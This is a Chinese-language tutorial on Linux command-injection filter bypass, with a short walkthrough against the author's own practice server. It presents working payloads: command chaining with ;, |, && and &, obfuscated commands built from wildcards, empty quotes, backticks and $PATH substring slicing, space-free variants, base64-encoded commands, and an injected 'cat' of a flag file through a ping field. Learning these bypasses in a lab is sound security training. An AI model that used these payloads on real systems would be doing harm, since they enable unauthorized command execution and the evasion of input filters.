命令执行
前言
给大家开了一个真实的环境,大家可以上去试试(一个靶场)
大家悠着点访问:人太多的话,可能会巨卡甚至奔溃(服务器性能不行)
http://39.103.131.197:8004/
http://49.234.221.56:8004/ 这是我的阿里云服务器,别乱搞哦。。。。(相当与我给大家授权了)
首先声明一点:在做任何渗透测试之前,没有授权是违法的哦,在未授权的情况下,别去搞别人的站点
1.1 Linux下的符号和逻辑运算符
a=who
b=ami
$a$b
Linux下需要用$引用变量
那么我们又可以怎么组合呢,接着来看
Linux下用分号(;)表示命令结束后执行后面的命令,无论前面的命令是否成功
ping www. ; whoami
echo tj ; whoami
符号 | 在Linux中,可以连接命令,第一条命令的结果,作为第二条命令的输入 |
符号 | 在Linux中,如果 | 左边的命令(命令1)未执行成功,那么就执行 | 右边的命令(命令2) |
符号&&在Linux中,如果左边的命令(命令1)返回真(成功被执行)后,&&右边的命令(命令2)才能够被执行
符号&在linux中,多个命令同时执行,不管前面命令执行成功没有,后面的命令继续执行
根据以上几点结合一个:
t=l; j=s; i=" -al"; $t$j$i
1.2linux进阶,符号之间的组合
Linux下,双引号和幂运算符号都不会影响命令的执行
whoami
wh$1oami
wh$@oami
who""""ami
whoa$*mi
c$1at /f$1lag
在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制
which whoami //找到whoami路径
# whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz
/u?r/?in/wh?am?
which ifconfig //找到ifconfig
# /sbin/ifconfig
/sbin/if?onfig
同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符
whoami
/*/bin/wh*mi
/us*/*in/who*mi
1.3 linux深入,命令中的命令
666`whoami`666
//命令执行后的结果在2个666中间
再次组合起来
who`echo a`mi#返回结果拼接为字符串,再次执行
w`saldkj2190`ho`12wsa2`am`foj11`i
wh$(70shuai)oa$(fengfeng)mi
1.4 利用linux中的环境变量
linux是可以使用环境变量里的字符执行变量
首先echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
Linux下严格区分大小写,不可以写成$path
echo ${PATH:number_start:length}
/:0 u:1 s:2 r:3 /:4 l:5 o:6 c:7 a:8 l:9 /:10 s:11 b:12 i:13 n:14 ::15 /:16 u:17 s:18 r:19 /:20 l:21 o:22 c:23 a:24 l:25 /:26 b:27 i:28 n:29 ::30 /:31 u:32 s:33 r:34 /:35 s:36 b:37 i:38 n:39 ::40 /:41 u:42 s:43 r:44 /:45 b:46 i:47 n:48 ::49 /:50 s:51 b:52 i:53 n:54 ::55 /:56 b:57 i:58 n:59 ::60 /:61 u:62 s:63 r:64 /:65 g:66 a:67 m:68 e:69 s:70 ::71 /:72 u:73 s:74 r:75 /:76 l:77 o:78 c:79 a:80 l:81 /:82 g:83 a:84 m:85 e:86 s:87
#每个主机的环境变量不一样,这是我云主机的变量每位
如果我现在要查看/root/目录下的1.txt文件,就可以这样操作操作
cat ${PATH:0:1}${PATH:44:1}${PATH:22:1}${PATH:22:1}t${PATH:0:1}1.txt
1.5 使用大括号绕过空格过滤
在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格
{ls,-alt}
再比如cat /etc/passwd命令中间的空格
1.6 了解重定向符号在绕过中的作用
我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里
ls<>a
1.7linux中特殊的base64编码
我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码
1.8靶机实战
靶机地址 http://39.103.131.197:8004/
发现拼接命令
没有任何过滤,构造命令a | ls / |
ping -c 2 a|ls /#查看根目录文件
查看flag a | cat /flllaagg |
Linux命令执行方法很多,不止我写的这一种,大家可以自己试验。